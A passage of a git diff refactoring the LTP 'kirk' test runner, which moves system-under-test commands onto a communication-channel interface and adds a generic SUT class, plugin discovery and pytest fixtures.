exec_timeout: Test timeout. :type exec_timeout: float - :param suite_timeout: testing suite timeout + :param suite_timeout: Testing suite timeout. :type suite_timeout: float - :param workers: number of workers for testing suite scheduler + :param workers: Number of workers for testing suite scheduler. :type workers: int - :param force_parallel: Force parallel execution of all tests + :param force_parallel: Force parallel execution of all tests. :type force_parallel: bool """ self._logger = logging.getLogger("kirk.session") - self._tmpdir = kwargs.get("tmpdir", None) - self._framework = kwargs.get("framework", None) - self._sut = kwargs.get("sut", None) - self._exec_timeout = kwargs.get("exec_timeout", 3600.0) - self._force_parallel = kwargs.get("force_parallel", False) + self._tmpdir = tmpdir + self._sut = sut + self._exec_timeout = exec_timeout + self._force_parallel = force_parallel self._stop = False self._exec_lock = asyncio.Lock() self._run_lock = asyncio.Lock() self._results = [] - - if not self._tmpdir: - raise ValueError("tmpdir is empty") - - if not self._framework: - raise ValueError("framework is empty") - - if not self._sut: - raise ValueError("sut is empty") - - suite_timeout = kwargs.get("suite_timeout", 3600.0) - workers = kwargs.get("workers", 1) + self._framework = LTPFramework( + timeout=self._exec_timeout, + ) self._scheduler = SuiteScheduler( sut=self._sut, @@ -98,11 +106,10 @@ class Session: self._setup_debug_log() self._setup_test_save() - if not self._sut.parallel_execution: + if not self._sut.get_channel().parallel_execution: self._logger.info( "SUT doesn't support parallel execution. Forcing workers=1." ) - self._workers = 1 def _setup_debug_log(self) -> None: """ @@ -159,7 +166,7 @@ class Session: async with AsyncFile(epath, "r") as efile: async for line in efile: - if not line: + if not line or "::" not in line: continue suite, test = line.split("::") @@ -180,13 +187,13 @@ class Session: Start communicating with SUT. """ await libkirk.events.fire("sut_start", self._sut.name) - await self._sut.ensure_communicate(iobuffer=RedirectSUTStdout(self._sut, False)) + await self._sut.start(iobuffer=RedirectSUTStdout(self._sut, False)) async def _stop_sut(self) -> None: """ Stop the SUT. """ - if not await self._sut.is_running: + if not await self._sut.is_running(): return await libkirk.events.fire("sut_stop", self._sut.name) @@ -196,9 +203,8 @@ class Session: """ Return suites objects by giving their names. """ - coros = [] - for suite in names: - coros.append(self._framework.find_suite(self._sut, suite)) + channel = self._sut.get_channel() + coros = [self._framework.find_suite(channel, suite) for suite in names] if not coros: raise KirkException(f"Can't find suites: {names}") @@ -230,19 +236,14 @@ class Session: await libkirk.events.fire("session_restore", restore_path) for suite_obj in suites_obj: - toremove = [] suite = suite_obj.name if suite not in restored: continue - for test in suite_obj.tests: - if test.name in restored[suite]: - toremove.append(test) - - for test in toremove: - suite_obj.tests.remove(test) - - toremove.clear() + restored_set = set(restored[suite]) + suite_obj.tests[:] = [ + test for test in suite_obj.tests if test.name not in restored_set + ] @staticmethod def _filter_tests( @@ -259,15 +260,16 @@ class Session: matcher = re.compile(regex) for suite_obj in suites_obj: - toremove = [] - - for test in suite_obj.tests: - match = matcher.search(test.name) - if (not match and not when_matching) or match and when_matching: - toremove.append(test) - - for item in toremove: - suite_obj.tests.remove(item) + if when_matching: + # skip matching tests (keep non-matching) + suite_obj.tests[:] = [ + test for test in suite_obj.tests if not matcher.search(test.name) + ] + else: + # keep only matching tests + suite_obj.tests[:] = [ + test for test in suite_obj.tests if matcher.search(test.name) + ] @staticmethod def _apply_iterate(suites_obj: List[Suite], suite_iterate: int) -> List[Suite]: @@ -279,7 +281,7 @@ class Session: suites_list = [] for suite in suites_obj: - for i in range(0, suite_iterate): + for i in range(suite_iterate): obj = copy.deepcopy(suite) obj.name = f"{suite.name}[{i}]" suites_list.append(obj) @@ -303,10 +305,7 @@ class Session: self._filter_tests(suites_obj, pattern, False) self._filter_tests(suites_obj, skip_tests, True) - num_tests = 0 - for suite_obj in suites_obj: - num_tests += len(suite_obj.tests) - + num_tests = sum(len(suite_obj.tests) for suite_obj in suites_obj) if num_tests == 0: raise KirkException("No tests selected") @@ -326,10 +325,11 @@ class Session: try: await libkirk.events.fire("run_cmd_start", command) - test = await self._framework.find_command(self._sut, command) + channel = self._sut.get_channel() + test = await self._framework.find_command(channel, command) ret = await asyncio.wait_for( - self._sut.run_command( + channel.run_command( test.full_command, cwd=test.cwd, env=test.env, @@ -337,6 +337,8 @@ class Session: ), timeout=self._exec_timeout, ) + if not ret: + raise SessionError(f"Can't execute command '{test.full_command}'") await libkirk.events.fire( "run_cmd_stop", command, ret["stdout"], ret["returncode"] @@ -363,6 +365,8 @@ class Session: """ Stop the current session. """ + already_stopped = self._stop + self._stop = True try: await self._inner_stop() @@ -373,7 +377,9 @@ class Session: async with self._exec_lock: pass finally: - await libkirk.events.fire("session_stopped") + if not already_stopped: + await libkirk.events.fire("session_stopped") + self._stop = False async def _schedule_once(self, suites_obj: List[Suite]) -> None: @@ -387,23 +393,20 @@ class Session: """ Schedule all testing suites infinite times. """ - suites_list = [] - suites_list.extend(suites_obj) - count = 1 while not self._stop: - await self._schedule_once(suites_obj) + suites_iteration = [] + for suite in copy.deepcopy(suites_obj): + suite.name = f"{suite.name}[{count}]" + suites_iteration.append(suite) + + await self._schedule_once(suites_iteration) if self._scheduler.stopped: break count += 1 - suites_list.clear() - for suite in copy.deepcopy(suites_obj): - suite.name = f"{suite.name}[{count}]" - suites_list.append(suite) - - async def _run_scheduler(self, suites_obj: List[Suite], runtime: int) -> None: + async def _run_scheduler(self, suites_obj: List[Suite], runtime: float) -> None: """ Run the scheduler for specific amount of time given by `runtime`. """ @@ -416,7 +419,7 @@ class Session: except asyncio.TimeoutError: await self._scheduler.stop() - async def _apply_fault_injection(self, fault_prob) -> None: + async def _apply_fault_injection(self, fault_prob: int) -> None: """ Check if we can apply fault injection configuration and eventually does it. @@ -447,36 +450,38 @@ class Session: restore_path: Optional[str] = None, suite_iterate: int = 1, randomize: bool = False, - runtime: int = 0, + runtime: float = 0, fault_prob: int = 0, ) -> None: """ Run a new session and store results inside a JSON file. - :param command: single command to run before suites + + :param command: Single command to run before suites. :type command: str - :param suites: list of suites to execute + :param suites: List of suites to execute. :type suites: list - :param pattern: regex pattern to include tests - :types pattern: str - :param skip_tests: regex for tests to skip - :types skip_tests: str - :param report_path: JSON report path + :param pattern: Regex pattern to include tests. + :type pattern: str + :param skip_tests: Regex for tests to skip. + :type skip_tests: str + :param report_path: JSON report path. :type report_path: str - :param restore_path: temporary directory generated by a previous session + :param restore_path: Temporary directory generated by a previous session. :type restore_path: str - :param suite_iterate: execute all suites multiple times + :param suite_iterate: Execute all suites multiple times. :type suite_iterate: int - :param randomize: randomize all tests if True + :param randomize: Randomize all tests if True. :type randomize: bool - :param runtime: for how long we want to run the session - :type runtime: int - :param fault_prob: fault injection probability + :param runtime: For how long we want to run the session. + :type runtime: float + :param fault_prob: Fault injection probability. :type fault_prob: int """ async with self._run_lock: - await libkirk.events.fire("session_started", self._tmpdir.abspath) + await libkirk.events.fire("session_started", suites, self._tmpdir.abspath) - if not self._sut.parallel_execution: + channel = self._sut.get_channel() + if not channel.parallel_execution: await libkirk.events.fire( "session_warning", "SUT doesn't support parallel execution" ) @@ -516,22 +521,17 @@ class Session: if self._results: exporter = JSONExporter() - tasks = [] - tasks.append( + tasks = [ exporter.save_file( self._results, os.path.join(self._tmpdir.abspath, "results.json"), ) - ) + ] if report_path: tasks.append(exporter.save_file(self._results, report_path)) await asyncio.gather(*tasks) - - await libkirk.events.fire( - "session_completed", self._scheduler.results - ) except KirkException as err: self._logger.exception(err) await libkirk.events.fire("session_error", str(err)) @@ -539,3 +539,7 @@ class Session: finally: self._results.clear() await self._inner_stop() + + await libkirk.events.fire( + "session_completed", self._scheduler.results + ) diff --git a/ltp/tools/kirk/libkirk/sut.py b/ltp/tools/kirk/kirk-src/libkirk/sut.py similarity index 31% rename from ltp/tools/kirk/libkirk/sut.py rename to ltp/tools/kirk/kirk-src/libkirk/sut.py index 89f9ca61..c8144dfb 100644 --- a/ltp/tools/kirk/libkirk/sut.py +++ b/ltp/tools/kirk/kirk-src/libkirk/sut.py @@ -1,59 +1,59 @@ """ .. module:: sut :platform: Linux - :synopsis: sut definition + :synopsis: module implementing SUT .. moduleauthor:: Andrea Cervesato """ import asyncio import re -from typing import Any, Dict, List, Optional, Tuple - -from libkirk.errors import KirkException, SUTError +from typing import ( + Dict, + List, + Optional, + Tuple, +) + +import libkirk.plugin +from libkirk.com import ( + ComChannel, + IOBuffer, +) +from libkirk.errors import SUTError from libkirk.plugin import Plugin - -class IOBuffer: - """ - IO stdout buffer. The API is similar to ``IO`` types. - """ - - async def write(self, data: str) -> None: - """ - Write data. - """ - raise NotImplementedError() - - -TAINTED_MSG = [ - "proprietary module was loaded", - "module was force loaded", - "kernel running on an out of specification system", - "module was force unloaded", - "processor reported a Machine Check Exception (MCE)", - "bad page referenced or some unexpected page flags", - "taint requested by userspace application", - "kernel died recently, i.e. there was an OOPS or BUG", - "ACPI table overridden by user", - "kernel issued warning", - "staging driver was loaded", - "workaround for bug in platform firmware applied", - "externally-built (“out-of-tree”) module was loaded", - "unsigned module was loaded", - "soft lockup occurred", - "kernel has been live patched", - "auxiliary taint, defined for and used by distros", - "kernel was built with the struct randomization plugin", -] +# discovered SUT implementations +_SUT = [] class SUT(Plugin): """ SUT abstraction class. It could be a remote host, a local host, a virtual - machine instance, etc. + machine instance, or any complex system we want to test. """ + TAINTED_MSG = [ + "proprietary module was loaded", + "module was force loaded", + "kernel running on an out of specification system", + "module was force unloaded", + "processor reported a Machine Check Exception (MCE)", + "bad page referenced or some unexpected page flags", + "taint requested by userspace application", + "kernel died recently, i.e. there was an OOPS or BUG", + "ACPI table overridden by user", + "kernel issued warning", + "staging driver was loaded", + "workaround for bug in platform firmware applied", + "externally-built (“out-of-tree”) module was loaded", + "unsigned module was loaded", + "soft lockup occurred", + "kernel has been live patched", + "auxiliary taint, defined for and used by distros", + "kernel was built with the struct randomization plugin", + ] + FAULT_INJECTION_FILES = [ "fail_io_timeout", "fail_make_request", @@ -61,150 +61,184 @@ class SUT(Plugin): "failslab", ] - @property - def parallel_execution(self) -> bool: + _optimize = False + + def get_channel(self) -> ComChannel: """ - If True, SUT supports commands parallel execution. + :return: Main channel to communicated with SUT. + :rtype: ComChannel """ raise NotImplementedError() - @property - async def is_running(self) -> bool: + async def start(self, iobuffer: Optional[IOBuffer] = None) -> None: """ - Return True if SUT is running. + Start the SUT. + + :param iobuffer: IO channel where to write stdout. + :type iobuffer: IOBuffer """ raise NotImplementedError() - async def ping(self) -> float: + async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: """ - If SUT is replying and it's available, ping will return time needed to - wait for SUT reply. - :returns: float + Stop the SUT. + + :param iobuffer: IO channel where to write stdout. + :type iobuffer: IOBuffer """ raise NotImplementedError() - async def communicate(self, iobuffer: Optional[IOBuffer] = None) -> None: + async def restart(self, iobuffer: Optional[IOBuffer] = None) -> None: """ - Start communicating with the SUT. - :param iobuffer: buffer used to write SUT stdout + Restart the SUT. + + :param iobuffer: IO channel where to write stdout. :type iobuffer: IOBuffer """ raise NotImplementedError() - async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: + async def is_running(self) -> bool: """ - Stop the current SUT session. - :param iobuffer: buffer used to write SUT stdout - :type iobuffer: IOBuffer + :return: True if system under test is up and running. False otherwise. + :rtype: bool """ raise NotImplementedError() - async def run_command( - self, - command: str, - cwd: Optional[str] = None, - env: Optional[Dict[str, str]] = None, - iobuffer: Optional[IOBuffer] = None, - ) -> Optional[Dict[str, Any]]: - """ - Coroutine to run command on target. - :param command: command to execute - :type command: str - :param cwd: current working directory - :type cwd: str - :param env: environment variables - :type env: dict - :param iobuffer: buffer used to write SUT stdout - :type iobuffer: IOBuffer - :returns: dictionary containing command execution information + @property + def optimize(self) -> bool: + """ + Optimize the commands execution by applying parallelization + when it's available. - { - "command": , - "returncode": , - "stdout": , - "exec_time": , - } + :return: True if SUT will optimize commands execution on SUT. + """ + return self._optimize - If None is returned, then callback failed. + @optimize.setter + def optimize(self, value: bool) -> None: """ - raise NotImplementedError() + Set commands execution optimization. + """ + self._optimize = value - async def fetch_file(self, target_path: str) -> bytes: + async def _run_cmd(self, cmd: str) -> str: """ - Fetch file from target path and return data from target path. - :param target_path: path of the file to download from target - :type target_path: str - :returns: bytes contained in target_path + Run command, check for returncode and return command's stdout. """ - raise NotImplementedError() + stdout = "unknown" + try: + channel = self.get_channel() + ret = await asyncio.wait_for(channel.run_command(cmd), 1.5) + if ret and ret["returncode"] == 0: + stdout = ret["stdout"].rstrip() + except asyncio.TimeoutError: + pass + + return stdout - async def ensure_communicate( - self, iobuffer: Optional[IOBuffer], retries: int = 10 - ) -> None: + async def _get_distro(self) -> str: """ - Ensure that `communicate` is completed, retrying as many times we - want in case of `KirkException` error. After each `communicate` error - the SUT is stopped and a new communication is tried. - :param iobuffer: buffer used to write SUT stdout - :type iobuffer: IOBuffer - :param retries: number of times we retry communicating with SUT - :type retries: int + Return the distro name. """ - retries = max(retries, 1) + return await self._run_cmd('. /etc/os-release && echo "$ID"') - for retry in range(retries): - try: - await self.communicate(iobuffer=iobuffer) - break - except KirkException as err: - if retry >= retries - 1: - raise err + async def _get_distro_ver(self) -> str: + """ + Return the distro version. + """ + return await self._run_cmd('. /etc/os-release && echo "$VERSION_ID"') - await self.stop(iobuffer=iobuffer) + async def _get_kernel(self) -> str: + """ + Return the kernel name. + """ + return await self._run_cmd("uname -s -r -v") - async def get_info(self) -> Dict[str, str]: + async def _get_cmdline(self) -> str: """ - Return SUT information. - :returns: dict + Return /proc/cmdline content. + """ + return await self._run_cmd("cat /proc/cmdline") - { - "distro": str, - "distro_ver": str, - "kernel": str, - "arch": str, - "cpu" : str, - "swap" : str, - "ram" : str, - } + async def _get_arch(self) -> str: + """ + Return the architecture name. + """ + return await self._run_cmd("uname -m") + async def _get_cpu(self) -> str: + """ + Return the CPU name. """ + return await self._run_cmd("uname -p") - # create suite results - async def _run_cmd(cmd: str) -> str: - """ - Run command, check for returncode and return command's stdout. - """ - stdout = "unknown" - try: - ret = await asyncio.wait_for(self.run_command(cmd), 1.5) - if ret and ret["returncode"] == 0: - stdout = ret["stdout"].rstrip() - except asyncio.TimeoutError: - pass + async def _get_meminfo(self) -> str: + """ + Return the memory information. + """ + return await self._run_cmd("cat /proc/meminfo") + + async def get_info(self) -> Dict[str, str]: + """ + Return SUT information. - return stdout + :return: Dictionary containing the SUT information in the form of: - # pyrefly: ignore[bad-unpacking] - distro, distro_ver, kernel, arch, cpu, meminfo = await asyncio.gather( - *[ - _run_cmd('. /etc/os-release && echo "$ID"'), - _run_cmd('. /etc/os-release && echo "$VERSION_ID"'), - _run_cmd("uname -s -r -v"), - _run_cmd("uname -m"), - _run_cmd("uname -p"), - _run_cmd("cat /proc/meminfo"), - ] - ) + .. code-block:: python + + { + "distro": str, + "distro_ver": str, + "kernel": str, + "cmdline": str, + "arch": str, + "cpu" : str, + "swap" : str, + "ram" : str, + } + + :rtype: dict + """ + if not await self.is_running(): + raise SUTError("SUT is not running") + + distro = "" + distro_ver = "" + kernel = "" + cmdline = "" + arch = "" + cpu = "" + meminfo = "" + + if self.optimize: + # pyrefly: ignore[bad-unpacking] + ( + distro, + distro_ver, + kernel, + cmdline, + arch, + cpu, + meminfo, + ) = await asyncio.gather( + *[ + self._get_distro(), + self._get_distro_ver(), + self._get_kernel(), + self._get_cmdline(), + self._get_arch(), + self._get_cpu(), + self._get_meminfo(), + ] + ) + else: + distro = await self._get_distro() + distro_ver = await self._get_distro_ver() + kernel = await self._get_kernel() + cmdline = await self._get_cmdline() + arch = await self._get_arch() + cpu = await self._get_cpu() + meminfo = await self._get_meminfo() memory = "unknown" swap = "unknown" @@ -222,6 +256,7 @@ class SUT(Plugin): "distro": distro, "distro_ver": distro_ver, "kernel": kernel, + "cmdline": cmdline, "arch": arch, "cpu": cpu, "ram": memory, @@ -230,24 +265,45 @@ class SUT(Plugin): return ret - _tainted_lock = asyncio.Lock() - _tainted_status = asyncio.Queue(maxsize=1) + # Lazily initialised inside get_tainted_info() so that the + # asyncio primitives are always created on the *running* loop. + # Class-level assignment would bind them to the loop that was + # current at import time, which breaks on Python 3.7-3.9 when + # tests run on a different loop than the session loop. + _tainted_lock: Optional[asyncio.Lock] = None + _tainted_status: Optional[asyncio.Queue] = None async def get_tainted_info(self) -> Tuple[int, List[str]]: """ Return information about kernel if tainted. - :returns: (int, list[str]) + + :return: A tuple containing tainted information. First element is the + tainted code and the second element is the tainted message. + :rtype: (int, list[str]) """ - if self._tainted_lock.locked() and self._tainted_status.qsize() > 0: - status = await self._tainted_status.get() - return status + if not await self.is_running(): + raise SUTError("SUT is not running") + + # Initialise on first use, always inside a running loop. + if self._tainted_lock is None: + self._tainted_lock = asyncio.Lock() + if self._tainted_status is None: + self._tainted_status = asyncio.Queue(maxsize=1) + + if self._tainted_lock.locked(): + try: + status = self._tainted_status.get_nowait() + return status + except asyncio.QueueEmpty: + pass async with self._tainted_lock: - ret = await self.run_command("cat /proc/sys/kernel/tainted") + channel = self.get_channel() + ret = await channel.run_command("cat /proc/sys/kernel/tainted") if not ret or ret["returncode"] != 0: raise SUTError("Can't read tainted kernel information") - tainted_num = len(TAINTED_MSG) + tainted_num = len(self.TAINTED_MSG) code = ret["stdout"].strip() # output is likely message in stderr @@ -260,11 +316,13 @@ class SUT(Plugin): messages = [] for i in range(0, tainted_num): if bits[i] == "1": - msg = TAINTED_MSG[i] + msg = self.TAINTED_MSG[i] messages.append(msg) - if self._tainted_status.qsize() > 0: - await self._tainted_status.get() + try: + self._tainted_status.get_nowait() + except asyncio.QueueEmpty: + pass await self._tainted_status.put((code, messages)) @@ -272,9 +330,14 @@ class SUT(Plugin): async def logged_as_root(self) -> bool: """ - Return True if we are logged as root inside the SUT. False otherwise. + :return: True if we are logged as root inside the SUT. False otherwise. + :rtype: bool """ - ret = await self.run_command("id -u") + if not await self.is_running(): + raise SUTError("SUT is not running") + + channel = self.get_channel() + ret = await channel.run_command("id -u") if not ret or ret["returncode"] != 0: raise SUTError("Can't determine if we are running as root") @@ -289,30 +352,42 @@ class SUT(Plugin): async def is_fault_injection_enabled(self) -> bool: """ - Return True if fault injection is enabled in the kernel. - False otherwise. + :return: True if fault injection is enabled in the kernel. False + otherwise. + :rtype: bool """ + if not await self.is_running(): + raise SUTError("SUT is not running") + + channel = self.get_channel() + for ftype in self.FAULT_INJECTION_FILES: - ret = await self.run_command(f"test -d /sys/kernel/debug/{ftype}") + ret = await channel.run_command(f"test -d /sys/kernel/debug/{ftype}") if ret and ret["returncode"] != 0: return False return True - async def setup_fault_injection(self, prob) -> None: + async def setup_fault_injection(self, prob: int) -> None: """ - Configure kernel fault injection. When `prob` is zero, the fault + Configure kernel fault injection. When prob is zero, the fault injection is set to default values. - :param prob: Fault probabilty in between 0-100 + + :param prob: Fault probabilty in between 0-100. + :type prob: int """ + if not await self.is_running(): + raise SUTError("SUT is not running") + interval = 1 if prob == 0 else 100 times = 1 if prob == 0 else -1 - async def _set_value(value, path): + async def _set_value(value: int, path: str) -> None: """ Set the value to the path """ - ret = await self.run_command(f"echo {value} > {path}") + channel = self.get_channel() + ret = await channel.run_command(f"echo {value} > {path}") if ret and ret["returncode"] != 0: raise SUTError(f"Can't setup {path}. {ret['stdout']}") @@ -323,3 +398,32 @@ class SUT(Plugin): await _set_value(times, f"{path}/times") await _set_value(interval, f"{path}/interval") await _set_value(prob, f"{path}/probability") + + +def discover(path: str, extend: bool = True) -> None: + """ + Discover all SUT implementations inside path. + + :param path: Directory where searching for SUT implementations. + :type path: str + :param extend: If True, it will add new discovered SUT on top of the + ones already found. If False, previous discovered SUT will be + cleared. + :type param: bool + """ + global _SUT + + obj = libkirk.plugin.discover(SUT, path) + if not extend: + _SUT.clear() + + _SUT.extend(obj) + + +def get_suts() -> List[SUT]: + """ + :return: List of loaded SUT implementations. + :rtype: list(SUT) + """ + global _SUT + return _SUT diff --git a/ltp/tools/kirk/kirk-src/libkirk/sut_base.py b/ltp/tools/kirk/kirk-src/libkirk/sut_base.py new file mode 100644 index 00000000..5609c5bc --- /dev/null +++ b/ltp/tools/kirk/kirk-src/libkirk/sut_base.py @@ -0,0 +1,86 @@ +""" +.. module:: sut_base + :platform: Linux + :synopsis: module implementing a generic SUT + +.. moduleauthor:: Andrea Cervesato +""" + +from typing import ( + Any, + Dict, + Optional, +) + +import libkirk.com +import libkirk.types +from libkirk.com import ( + ComChannel, + IOBuffer, +) +from libkirk.errors import SUTError +from libkirk.sut import SUT + + +class GenericSUT(SUT): + """ + Generic SUT which is defining a structure to start implementing it. + + This class can be inherited in order to provide all its features also to + the new implementations. Used by itself, it's just a SUT named 'default' + for the kirk application and it's recognized by the plugin system. + """ + + def __init__(self) -> None: + self._com = None + + def setup(self, **kwargs: Dict[str, Any]) -> None: + com_name = libkirk.types.dict_item(kwargs, "com", str, "shell") + if not com_name: + raise SUTError("Communication channel has not been defined") + + channels = libkirk.com.get_channels() + if not channels: + raise SUTError("No communication channels are provided") + + com = next((c for c in channels if c.name == com_name), None) + if not com: + raise SUTError(f"Can't find communication channel '{com_name}'") + + # pyrefly: ignore[bad-assignment] + self._com = com + + @property + def config_help(self) -> Dict[str, str]: + return { + "com": "Communication channel name (default: shell)", + } + + @property + def name(self) -> str: + return "default" + + def get_channel(self) -> ComChannel: + if not self._com: + raise SUTError("SUT is not initialized") + + return self._com + + async def start(self, iobuffer: Optional[IOBuffer] = None) -> None: + if await self.is_running(): + return + + await self.get_channel().ensure_communicate(iobuffer) + + async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: + if not await self.is_running(): + return + + await self.get_channel().stop(iobuffer) + + async def restart(self, iobuffer: Optional[IOBuffer] = None) -> None: + await self.stop(iobuffer) + await self.start(iobuffer) + + async def is_running(self) -> bool: + return await self.get_channel().active() diff --git a/ltp/tools/kirk/libkirk/tempfile.py b/ltp/tools/kirk/kirk-src/libkirk/tempfile.py similarity index 63% rename from ltp/tools/kirk/libkirk/tempfile.py rename to ltp/tools/kirk/kirk-src/libkirk/tempfile.py index 5a496e82..acf71f11 100644 --- a/ltp/tools/kirk/libkirk/tempfile.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tempfile.py @@ -24,20 +24,18 @@ class TempDir: def __init__(self, root: Optional[str], max_rotate: int = 5) -> None: """ - :param root: root directory (i.e. /tmp). If None, TempDir will handle + :param root: Root directory (i.e. /tmp). If None, TempDir will handle requests without adding any file or directory. :type root: str | None - :param max_rotate: maximum number of temporary directories + :param max_rotate: Maximum number of temporary directories. :type max_rotate: int """ if root and not os.path.isdir(root): raise ValueError(f"root folder doesn't exist: {root}") - self._root = root - if root: - self._root = os.path.abspath(root) - + self._root = os.path.abspath(root) if root else None self._max_rotate = max(max_rotate, 0) + self._username = pwd.getpwuid(os.getuid()).pw_name if root else None self._folder = self._rotate() def _rotate(self) -> str: @@ -48,25 +46,23 @@ class TempDir: if not self._root: return "" - name = pwd.getpwuid(os.getuid()).pw_name - tmpbase = os.path.join(self._root, f"{self.FOLDER_PREFIX}{name}") + tmpbase = os.path.join(self._root, f"{self.FOLDER_PREFIX}{self._username}") os.makedirs(tmpbase, exist_ok=True) - # delete the first max_rotate items - sorted_paths = sorted(pathlib.Path(tmpbase).iterdir(), key=os.path.getmtime) + # filter out symlink before sorting and counting + all_paths = list(pathlib.Path(tmpbase).iterdir()) + sorted_paths = sorted( + (p for p in all_paths if p.name != self.SYMLINK_NAME), key=os.path.getmtime + ) - # don't consider latest symlink - num_paths = len(sorted_paths) - 1 + num_paths = len(sorted_paths) if num_paths >= self._max_rotate: max_items = num_paths - self._max_rotate + 1 - paths = sorted_paths[:max_items] - - for path in paths: - if path.name == self.SYMLINK_NAME: - continue + paths_to_remove = sorted_paths[:max_items] + for path in paths_to_remove: shutil.rmtree(str(path.resolve())) # create a new folder @@ -77,48 +73,49 @@ class TempDir: if os.path.islink(latest): os.remove(latest) - os.symlink( - folder, os.path.join(tmpbase, self.SYMLINK_NAME), target_is_directory=True - ) + os.symlink(folder, latest, target_is_directory=True) return folder @property def root(self) -> str: """ - The root folder. For example, if temporary folder is - "/tmp/kirk.acer/tmpf547ftxv" the method will return "/tmp". - If root folder has not been given during object creation, this - method returns an empty string. + :return: The root folder. For example, if temporary folder is + "/tmp/kirk.acer/tmpf547ftxv" the method will return "/tmp". + If root folder has not been given during object creation, this + method returns an empty string. + :rtype: str """ - return self._root if self._root else "" + return self._root or "" @property def abspath(self) -> str: """ - Absolute path of the temporary directory. + :return: Absolute path of the temporary directory. + :rtype: str """ return self._folder def mkdir(self, path: str) -> None: """ Create a directory inside temporary directory. - :param path: path of the directory + + :param path: Path of the directory. :type path: str - :returns: folder path. + :returns: Folder path. """ if not self._folder: return - dpath = os.path.join(self._folder, path) - os.mkdir(dpath) + os.mkdir(os.path.join(self._folder, path)) def mkfile(self, path: str, content: str) -> None: """ Create a file inside temporary directory. - :param path: path of the file + + :param path: Path of the file. :type path: str - :param content: file content + :param content: File content. :type content: str """ if not self._folder: diff --git a/ltp/tools/kirk/libkirk/tests/__init__.py b/ltp/tools/kirk/kirk-src/libkirk/tests/__init__.py similarity index 100% rename from ltp/tools/kirk/libkirk/tests/__init__.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/__init__.py diff --git a/ltp/tools/kirk/kirk-src/libkirk/tests/conftest.py b/ltp/tools/kirk/kirk-src/libkirk/tests/conftest.py new file mode 100644 index 00000000..cb7c8cae --- /dev/null +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/conftest.py @@ -0,0 +1,78 @@ +""" +Generic stuff for pytest. +""" + +import os + +import pytest + +import libkirk +import libkirk.com +import libkirk.sut + + +def pytest_sessionfinish(session, exitstatus): + """ + Cleanup tasks when session finishes. + """ + loop = libkirk.get_event_loop() + libkirk.cancel_tasks(loop) + loop.close() + + +@pytest.fixture(scope="session") +def event_loop(): + """ + Current event loop. Keep it in session scope, otherwise tests which + will use same coroutines will be associated to different event_loop. + In this way, pytest-asyncio plugin will work properly. + """ + yield libkirk.get_event_loop() + + +@pytest.fixture(autouse=True, scope="function") +def _discover_plugins(): + """ + Discover plugins before running tests. + """ + currdir = os.path.dirname(os.path.realpath(__file__)) + + libkirk.com.discover(os.path.join(currdir, "..", "channels"), extend=False) + libkirk.sut.discover(os.path.join(currdir, ".."), extend=False) + + +@pytest.fixture +def ltpdir(tmpdir): + """ + Setup the temporary folder with LTP tests. + """ + os.environ["LTPROOT"] = str(tmpdir) + + tmpdir.mkdir("testcases").mkdir("bin") + runtest = tmpdir.mkdir("runtest") + + suite01 = runtest / "suite01" + suite01.write_text( + "test01 echo -n ciao\ntest02 echo -n ciao\n", + encoding="utf-8") + + suite02 = runtest / "suite02" + suite02.write_text( + "test01 echo -n ciao\ntest02 sleep 0.2 && echo -n ciao", + encoding="utf-8") + + sleep = runtest / "sleep" + sleep.write_text( + "sleep01 sleep 2\nsleep02 sleep 2", + encoding="utf-8") + + environ = runtest / "environ" + environ.write_text("test01 echo -n $hello", + encoding="utf-8") + + kernel_panic = runtest / "kernel_panic" + kernel_panic.write_text( + "test01 echo 'Kernel panic'\ntest02 sleep 0.2", + encoding="utf-8") + + return tmpdir diff --git a/ltp/tools/kirk/libkirk/tests/test_sut.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_com.py similarity index 44% rename from ltp/tools/kirk/libkirk/tests/test_sut.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_com.py index cea04979..255aedab 100644 --- a/ltp/tools/kirk/libkirk/tests/test_sut.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_com.py @@ -1,5 +1,5 @@ """ -Test AsyncSUT implementations. +Test ComChannel implementations. """ import asyncio @@ -10,10 +10,8 @@ import time import pytest import libkirk -from libkirk.errors import SUTError -from libkirk.sut import IOBuffer - -pytestmark = pytest.mark.asyncio +from libkirk.errors import CommunicationError, PluginError +from libkirk.com import IOBuffer class Printer(IOBuffer): @@ -22,88 +20,66 @@ class Printer(IOBuffer): """ def __init__(self) -> None: - self._logger = logging.getLogger("test.host") + self._logger = logging.getLogger("test.shell") async def write(self, data: str) -> None: print(data, end="") @pytest.fixture -def sut(): +def com(): """ - Expose the SUT implementation via this fixture in order to test it. + Expose the ComChannel implementation via this fixture in order to test it. """ raise NotImplementedError() -class _TestSUT: +class _TestComChannel: """ - Generic tests for SUT implementation. + Generic tests for ComChannel implementation. """ - _logger = logging.getLogger("test.asyncsut") - - async def test_config_help(self, sut): - """ - Test if config_help has the right type. - """ - assert isinstance(sut.config_help, dict) + _logger = logging.getLogger("test.channel") - async def test_ping_no_running(self, sut): + async def test_ping_no_active(self, com): """ - Test ping method with no running sut. + Test ping method with no active connection. """ - with pytest.raises(SUTError): - await sut.ping() + with pytest.raises(CommunicationError): + await com.ping() - async def test_ping(self, sut): + async def test_ping(self, com): """ Test ping method. """ - await sut.communicate(iobuffer=Printer()) - ping_t = await sut.ping() + await com.communicate(iobuffer=Printer()) + ping_t = await com.ping() assert ping_t > 0 - async def test_get_info(self, sut): - """ - Test get_info method. + async def test_config_help(self, com): """ - await sut.communicate(iobuffer=Printer()) - info = await sut.get_info() - - assert info["distro"] - assert info["distro_ver"] - assert info["kernel"] - assert info["arch"] - - async def test_get_tainted_info(self, sut): - """ - Test get_tainted_info. + Test if config_help has the right type. """ - await sut.communicate(iobuffer=Printer()) - code, messages = await sut.get_tainted_info() + assert isinstance(com.config_help, dict) - assert code >= 0 - assert isinstance(messages, list) - - async def test_communicate(self, sut): + async def test_communicate(self, com): """ Test communicate method. """ - await sut.communicate(iobuffer=Printer()) - with pytest.raises(SUTError): - await sut.communicate(iobuffer=Printer()) + await com.communicate(iobuffer=Printer()) + with pytest.raises(CommunicationError): + await com.communicate(iobuffer=Printer()) - async def test_ensure_communicate(self, sut): + async def test_ensure_communicate(self, com): """ Test ensure_communicate method. """ - await 